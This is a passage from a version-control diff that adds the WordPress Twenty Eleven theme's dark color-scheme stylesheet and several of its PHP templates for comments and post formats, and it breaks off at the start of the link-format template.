+.page-title {
+	color: #ccc;
+}
+.hentry {
+	border-color: #222;
+}
+.entry-title {
+	color: #ddd;
+}
+.entry-title,
+.entry-title a {
+	color: #ddd;
+}
+.entry-title a:hover,
+.entry-title a:focus,
+.entry-title a:active {
+}
+.entry-meta {
+	color: #999;
+}
+.entry-content h1,
+.entry-content h2,
+.comment-content h1,
+.comment-content h2 {
+	color: #fff;
+}
+.entry-content table,
+.comment-content table {
+	border-color: #222;
+}
+.entry-content th,
+.comment-content th {
+	color: #999;
+}
+.entry-content td,
+.comment-content td {
+	border-color: #222;
+}
+.page-link {
+}
+.page-link a {
+	background: #242424;
+	color: #bbb;
+}
+.page-link a:hover {
+	background: #999;
+	color: #000;
+}
+.entry-meta .edit-link a {
+	background: #242424;
+	color: #bbb;
+}
+.entry-meta .edit-link a:hover,
+.entry-meta .edit-link a:focus,
+.entry-meta .edit-link a:active {
+	background: #999;
+	color: #000;
+}
+
+/* Images */
+.wp-caption {
+	background: #2c2c2c;
+}
+.wp-caption .wp-caption-text {
+	color: #999;
+}
+.wp-caption .wp-caption-text:before {
+	color: #999;
+}
+
+/* Image borders */
+img[class*="wp-image-"],
+#content .gallery .gallery-icon img {
+	border-color: #2c2c2c;
+}
+.wp-caption img {
+	border-color: #2c2c2c;
+}
+a:focus img[class*="wp-image-"],
+a:hover img[class*="wp-image-"],
+a:active img[class*="wp-image-"] {
+	background: #2c2c2c;
+	border-color: #444;
+}
+.wp-caption a:focus img,
+.wp-caption a:active img,
+.wp-caption a:hover img {
+	background: #0f0f0f;
+	border-color: #2c2c2c;
+}
+
+/* Password Protected Posts */
+.post-password-required input[type=password] {
+	background: #ddd;
+}
+.post-password-required input[type=password]:focus {
+	background: #fff;
+}
+
+/* Author Info */
+.singular #author-info {
+	background: #060606;
+	border-color: #222;
+}
+.archive #author-info {
+	border-color: #222;
+}
+#author-avatar img {
+	background: #000;
+	-webkit-box-shadow: 0 1px 2px #444;
+	-moz-box-shadow: 0 1px 2px #444;
+	box-shadow: 0 1px 2px #444;
+}
+#author-description h2 {
+	color: #fff;
+}
+
+/* Comments link */
+.entry-header .comments-link a {
+	background: #282828 url(../images/comment-bubble-dark.png) no-repeat;
+	border-color: #222;
+	color: #888;
+}
+
+.rtl .entry-header .comments-link a {
+	background-image: url(../images/comment-bubble-dark-rtl.png);
+}
+/* Singular content styles for Posts and Pages */
+.singular .entry-title {
+	color: #fff;
+}
+
+
+/* =Status
+----------------------------------------------- */
+
+.format-status img.avatar {
+	-webkit-box-shadow: 0 1px 2px #333;
+	-moz-box-shadow: 0 1px 2px #333;
+	box-shadow: 0 1px 2px #333;
+}
+
+
+/* =Quote
+----------------------------------------------- */
+
+.format-quote blockquote {
+	color: #aaa;
+}
+
+
+/* =Image
+----------------------------------------------- */
+
+.indexed.format-image .wp-caption {
+	background: #242424;
+}
+.indexed.format-image .entry-meta .edit-link a {
+	color: #ddd;
+}
+.indexed.format-image .entry-meta .edit-link a:hover {
+	color: #fff;
+}
+
+
+/* =error404
+----------------------------------------------- */
+.error404 #main #searchform {
+	background: #060606;
+	border-color: #222;
+}
+
+
+/* =Showcase
+----------------------------------------------- */
+
+h1.showcase-heading {
+	color: #ccc;
+}
+
+/* Intro */
+article.intro {
+	background: #060606;
+}
+article.intro .entry-content {
+	color: #eee;
+}
+article.intro .edit-link a {
+	background: #555;
+	color: #000;
+}
+article.intro .edit-link a:hover {
+	background: #888;
+}
+
+/* Featured post */
+section.featured-post .hentry {
+	color: #999;
+}
+
+/* Small featured post */
+section.featured-post .attachment-small-feature {
+	border-color: #444;
+}
+section.featured-post .attachment-small-feature:hover {
+	border-color: #777;
+}
+article.feature-image.small .entry-summary {
+	color: #aaa;
+}
+article.feature-image.small .entry-summary p a {
+	background: #ddd;
+	color: #111;
+}
+article.feature-image.small .entry-summary p a:hover {
+	color: #40220c;
+}
+
+/* Large featured post */
+article.feature-image.large .entry-title a {
+	background: #ddd;
+	background: rgba(0,0,0,0.8);
+	color: #fff;
+}
+section.feature-image.large:hover .entry-title a,
+section.feature-image.large .entry-title:hover a {
+	background: #111;
+	background: rgba(255,255,255,0.8);
+	color: #000;
+}
+section.feature-image.large img {
+	border-bottom: 1px solid #222;
+}
+
+/* Featured Slider */
+.featured-posts {
+	border-color: #222;
+}
+.featured-posts section.featured-post {
+	background: #000;
+}
+.featured-post .feature-text:after,
+.featured-post .feature-image.small:after {
+	background: -moz-linear-gradient(top, rgba(0,0,0,0) 0%, rgba(0,0,0,1) 100%); /* FF3.6+ */
+	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0)), color-stop(100%,rgba(0,0,0,1))); /* Chrome,Safari4+ */
+	background: -webkit-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* Chrome10+,Safari5.1+ */
+	background: -o-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* Opera11.10+ */
+	background: -ms-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* IE10+ */
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00000000', endColorstr='#000000',GradientType=0 ); /* IE6-9 */
+	background: linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* W3C */
+}
+.feature-slider a {
+	background: #c3c3c3;
+	background: rgba(60,60,60,0.9);
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+}
+.feature-slider a.active {
+	background: #000;
+	background: rgba(255,255,255,0.8);
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+}
+
+/* Recent Posts */
+section.recent-posts .other-recent-posts {
+	border-color: #222;
+}
+section.recent-posts .other-recent-posts .entry-title {
+	border-color: #222;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"] {
+	color: #ccc;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"]:hover {
+}
+section.recent-posts .other-recent-posts .comments-link a,
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-color: #959595;
+	color: #bbb;
+}
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-color: #444;
+	color: #777;
+}
+section.recent-posts .other-recent-posts .comments-link a:hover {
+}
+
+
+/* =Attachments
+----------------------------------------------- */
+
+.image-attachment div.attachment {
+	background: #060606;
+	border-color: #222;
+}
+.image-attachment div.attachment a img {
+	border-color: #060606;
+}
+.image-attachment div.attachment a:focus img,
+.image-attachment div.attachment a:hover img,
+.image-attachment div.attachment a:active img {
+	border-color: #2c2c2c;
+	background: #0f0f0f;
+}
+
+
+/* =Widgets
+----------------------------------------------- */
+
+.widget-title {
+	color: #ccc;
+}
+.widget ul li {
+	color: #888;
+}
+
+/* Search Widget */
+.widget_search #searchsubmit {
+	background: #222;
+	border-color: #333;
+	-webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	-moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	color: #777;
+}
+.widget_search #searchsubmit:active {
+	-webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	-moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	color: #40220c;
+}
+
+/* Calendar Widget */
+.widget_calendar #wp-calendar {
+	color: #aaa;
+}
+.widget_calendar #wp-calendar th {
+	background: #0b0b0b;
+	border-color: #333;
+}
+.widget_calendar #wp-calendar tfoot td {
+	background: #0b0b0b;
+	border-color: #333;
+}
+
+
+/* =Comments
+----------------------------------------------- */
+
+#comments-title {
+	color: #bbb;
+}
+.nocomments {
+	color: #555;
+}
+.commentlist > li.comment {
+	background: #090909;
+	border-color: #222;
+}
+.commentlist .children li.comment {
+	background: #000;
+	border-color: #222;
+}
+.rtl .commentlist .children li.comment {
+	border-color: #222;
+}
+.comment-meta {
+	color: #999;
+}
+.commentlist .avatar {
+	-webkit-box-shadow: 0 1px 2px #222;
+	-moz-box-shadow: 0 1px 2px #222;
+	box-shadow: 0 1px 2px #222;
+}
+a.comment-reply-link {
+	background: #242424;
+	color: #bbb;
+}
+li.bypostauthor a.comment-reply-link {
+	background: #111;
+}
+a.comment-reply-link:hover,
+a.comment-reply-link:focus,
+a.comment-reply-link:active,
+li.bypostauthor a.comment-reply-link:hover,
+li.bypostauthor a.comment-reply-link:focus,
+li.bypostauthor a.comment-reply-link:active {
+	background: #999;
+	color: #000;
+}
+.commentlist > li:before {
+	content: url(../images/comment-arrow-dark.png);
+}
+.rtl .commentlist > li:before {
+	content: url(../images/comment-arrow-dark-rtl.png);
+}
+
+/* Post author highlighting */
+.commentlist > li.bypostauthor {
+	background: #222;
+	border-color: #2c2c2c;
+}
+.commentlist > li.bypostauthor:before {
+	content: url(../images/comment-arrow-bypostauthor-dark.png);
+}
+.rtl .commentlist > li.bypostauthor:before {
+	content: url(../images/comment-arrow-bypostauthor-dark-rtl.png);
+}
+
+/* Post Author threaded comments */
+.commentlist .children > li.bypostauthor {
+	background: #222;
+	border-color: #2c2c2c;
+}
+.commentlist > li.bypostauthor .comment-meta {
+	color: #a8a8a8;
+}
+
+/* Comment Form */
+#respond {
+	background: #222;
+	border-color: #2c2c2c;
+}
+#respond input[type="text"],
+#respond textarea {
+	background: #000;
+	border: 4px solid #111;
+	-webkit-box-shadow: inset 0 1px 3px rgba(51,51,51,0.95);
+	-moz-box-shadow: inset 0 1px 3px rgba(51,51,51,0.95);
+	box-shadow: inset 0 1px 3px rgba(51,51,51,0.95);
+	color: #bbb;
+}
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	background: #111;
+	-webkit-box-shadow: 1px 2px 2px rgba(51,51,51,0.8);
+	-moz-box-shadow: 1px 2px 2px rgba(51,51,51,0.8);
+	box-shadow: 1px 1px 2px rgba(51,51,51,0.8);
+	color: #aaa;
+}
+.rtl #respond .comment-form-author label,
+.rtl #respond .comment-form-email label,
+.rtl #respond .comment-form-url label,
+.rtl #respond .comment-form-comment label {
+	-webkit-box-shadow: -1px 2px 2px rgba(51,51,51,0.8);
+	-moz-box-shadow: -1px 2px 2px rgba(51,51,51,0.8);
+	box-shadow: -1px 1px 2px rgba(51,51,51,0.8);
+}
+#respond .comment-form-author .required,
+#respond .comment-form-email .required {
+	color: #42caff;
+}
+#respond input#submit {
+	background: #ddd;
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	color: #111;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+#respond input#submit:active {
+	color: #40220c;
+}
+#respond #cancel-comment-reply-link {
+	color: #999;
+}
+#reply-title {
+	color: #ccc;
+}
+#cancel-comment-reply-link {
+	color: #777;
+}
+#cancel-comment-reply-link:focus,
+#cancel-comment-reply-link:active,
+#cancel-comment-reply-link:hover {
+	color: #00b4cc;
+}
+
+
+/* =Footer
+----------------------------------------------- */
+
+#supplementary {
+	border-color: #222;
+}
+
+/* Site Generator Line */
+#site-generator {
+	background: #060606;
+	border-color: #000;
+}
+
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	body {
+		color: #333;
+		background: none !important;
+	}
+	#page {
+		background: none !important;
+	}
+
+	/* Comments */
+	.commentlist > li.comment {
+	}
+
+	/* Post author highlighting */
+	.commentlist > li.bypostauthor {
+		color: #333;
+	}
+	.commentlist > li.bypostauthor .comment-meta {
+		color: #959595;
+	}
+	.commentlist > li:before {
+		content: none !important;
+	}
+
+	/* Post Author threaded comments */
+	.commentlist .children > li.bypostauthor {
+		background: #fff;
+		border-color: #ddd;
+	}
+	.commentlist .children > li.bypostauthor > article,
+	.commentlist .children > li.bypostauthor > article .comment-meta {
+		color: #959595;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/comments.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/comments.php	(revision 33402)
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Template for displaying Comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form. The actual display of comments is
+ * handled by a callback to twentyeleven_comment() which is
+ * located in the functions.php file.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+	<div id="comments">
+	<?php if ( post_password_required() ) : ?>
+		<p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyeleven' ); ?></p>
+	</div><!-- #comments -->
+	<?php
+			/*
+			 * Stop the rest of comments.php from being processed,
+			 * but don't kill the script entirely -- we still have
+			 * to fully load the template.
+			 */
+			return;
+		endif;
+	?>
+
+	<?php // You can start editing here -- including this comment! ?>
+
+	<?php if ( have_comments() ) : ?>
+		<h2 id="comments-title">
+			<?php
+				printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentyeleven' ),
+					number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
+			?>
+		</h2>
+
+		<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
+		<nav id="comment-nav-above">
+			<h1 class="assistive-text"><?php _e( 'Comment navigation', 'twentyeleven' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyeleven' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyeleven' ) ); ?></div>
+		</nav>
+		<?php endif; // check for comment navigation ?>
+
+		<ol class="commentlist">
+			<?php
+				/*
+				 * Loop through and list the comments. Tell wp_list_comments()
+				 * to use twentyeleven_comment() to format the comments.
+				 * If you want to overload this in a child theme then you can
+				 * define twentyeleven_comment() and that will be used instead.
+				 * See twentyeleven_comment() in twentyeleven/functions.php for more.
+				 */
+				wp_list_comments( array( 'callback' => 'twentyeleven_comment' ) );
+			?>
+		</ol>
+
+		<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
+		<nav id="comment-nav-below">
+			<h1 class="assistive-text"><?php _e( 'Comment navigation', 'twentyeleven' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyeleven' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyeleven' ) ); ?></div>
+		</nav>
+		<?php endif; // check for comment navigation ?>
+
+		<?php
+		/*
+		 * If there are no comments and comments are closed, let's leave a little note, shall we?
+		 * But we only want the note on posts and pages that had comments in the first place.
+		 */
+		if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="nocomments"><?php _e( 'Comments are closed.' , 'twentyeleven' ); ?></p>
+		<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-aside.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-aside.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-aside.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Template for displaying posts in the Aside Post Format
+ *
+ * Used on index and archive pages.
+ *
+ * @link http://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Aside', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+			<?php if ( comments_open() ) : ?>
+			<span class="sep"> | </span>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; ?>
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-featured.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-featured.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-featured.php	(revision 33402)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Template for displaying content featured in the showcase.php page template
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+global $feature_class;
+?>
+<article id="post-<?php the_ID(); ?>" <?php post_class( $feature_class ); ?>>
+	<header class="entry-header">
+		<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+
+		<div class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+			if ( '' != $tag_list ) {
+				$utility_text = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			} else {
+				$utility_text = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			}
+			printf(
+				$utility_text,
+				/* translators: used between list items, there is a space after the comma */
+				get_the_category_list( __( ', ', 'twentyeleven' ) ),
+				$tag_list,
+				esc_url( get_permalink() ),
+				the_title_attribute( 'echo=0' )
+			);
+		?>
+
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-gallery.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-gallery.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-gallery.php	(revision 33402)
@@ -0,0 +1,90 @@
+<?php
+/**
+ * Template for displaying posts in the Gallery Post Format
+ *
+ * Used on index and archive pages.
+ *
+ * @link http://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<hgroup>
+			<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+			<h3 class="entry-format"><?php _e( 'Gallery', 'twentyeleven' ); ?></h3>
+		</hgroup>
+
+		<div class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<?php if ( is_search() ) : // Only display Excerpts for search pages ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php if ( post_password_required() ) : ?>
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php else :
+				$images = twentyeleven_get_gallery_images();
+				if ( $images ) :
+					$total_images = count( $images );
+					$image = array_shift( $images );
+			?>
+				<figure class="gallery-thumb">
+					<a href="<?php the_permalink(); ?>"><?php echo wp_get_attachment_image( $image, 'thumbnail' ); ?></a>
+				</figure><!-- .gallery-thumb -->
+
+				<p><em><?php printf( _n( 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.', $total_images, 'twentyeleven' ),
+						'href="' . esc_url( get_permalink() ) . '" title="' . esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ) . '" rel="bookmark"',
+						number_format_i18n( $total_images )
+					); ?></em></p>
+			<?php endif; // end twentyeleven_get_gallery_images() check ?>
+			<?php the_excerpt(); ?>
+		<?php endif; ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+	<?php endif; ?>
+
+	<footer class="entry-meta">
+		<?php $show_sep = false; ?>
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+			if ( $categories_list ):
+		?>
+		<span class="cat-links">
+			<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
+			$show_sep = true; ?>
+		</span>
+		<?php endif; // End if categories ?>
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+			if ( $tags_list ):
+			if ( $show_sep ) : ?>
+		<span class="sep"> | </span>
+			<?php endif; // End if $show_sep ?>
+		<span class="tag-links">
+			<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
+			$show_sep = true; ?>
+		</span>
+		<?php endif; // End if $tags_list ?>
+
+		<?php if ( comments_open() ) : ?>
+		<?php if ( $show_sep ) : ?>
+		<span class="sep"> | </span>
+		<?php endif; // End if $show_sep ?>
+		<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+		<?php endif; // End if comments_open() ?>
+
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-image.php	(revision 33402)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Template for displaying posts in the Image Post Format
+ *
+ * Used on index and archive pages.
+ *
+ * @link http://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+	<article id="post-<?php the_ID(); ?>" <?php post_class( 'indexed' ); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Image', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( "Reply", 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<div class="entry-meta">
+				<?php
+					printf( __( '<a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%4$s" title="%5$s" rel="author">%6$s</a></span></span>', 'twentyeleven' ),
+						esc_url( get_permalink() ),
+						get_the_date( 'c' ),
+						get_the_date(),
+						esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+						esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ),
+						get_the_author()
+					);
+				?>
+			</div><!-- .entry-meta -->
+			<div class="entry-meta">
+				<?php
+					/* translators: used between list items, there is a space after the comma */
+					$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+					if ( $categories_list ):
+				?>
+				<span class="cat-links">
+					<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list ); ?>
+				</span>
+				<?php endif; // End if categories ?>
+				<?php
+					/* translators: used between list items, there is a space after the comma */
+					$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+					if ( $tags_list ): ?>
+				<span class="tag-links">
+					<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?>
+				</span>
+				<?php endif; // End if $tags_list ?>
+
+				<?php if ( comments_open() ) : ?>
+				<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+				<?php endif; // End if comments_open() ?>
+			</div><!-- .entry-meta -->
+
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-intro.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-intro.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-intro.php	(revision 33402)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * Template for displaying page content in the showcase.php page template
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class( 'intro' ); ?>>
+	<header class="entry-header">
+		<h2 class="entry-title"><?php the_title(); ?></h2>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</div><!-- .entry-content -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-link.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-link.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-link.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Template for displaying posts in the Link Post Format
+ *
+ * Used on index and archive pages
+ *
+ * @link http://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Link', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
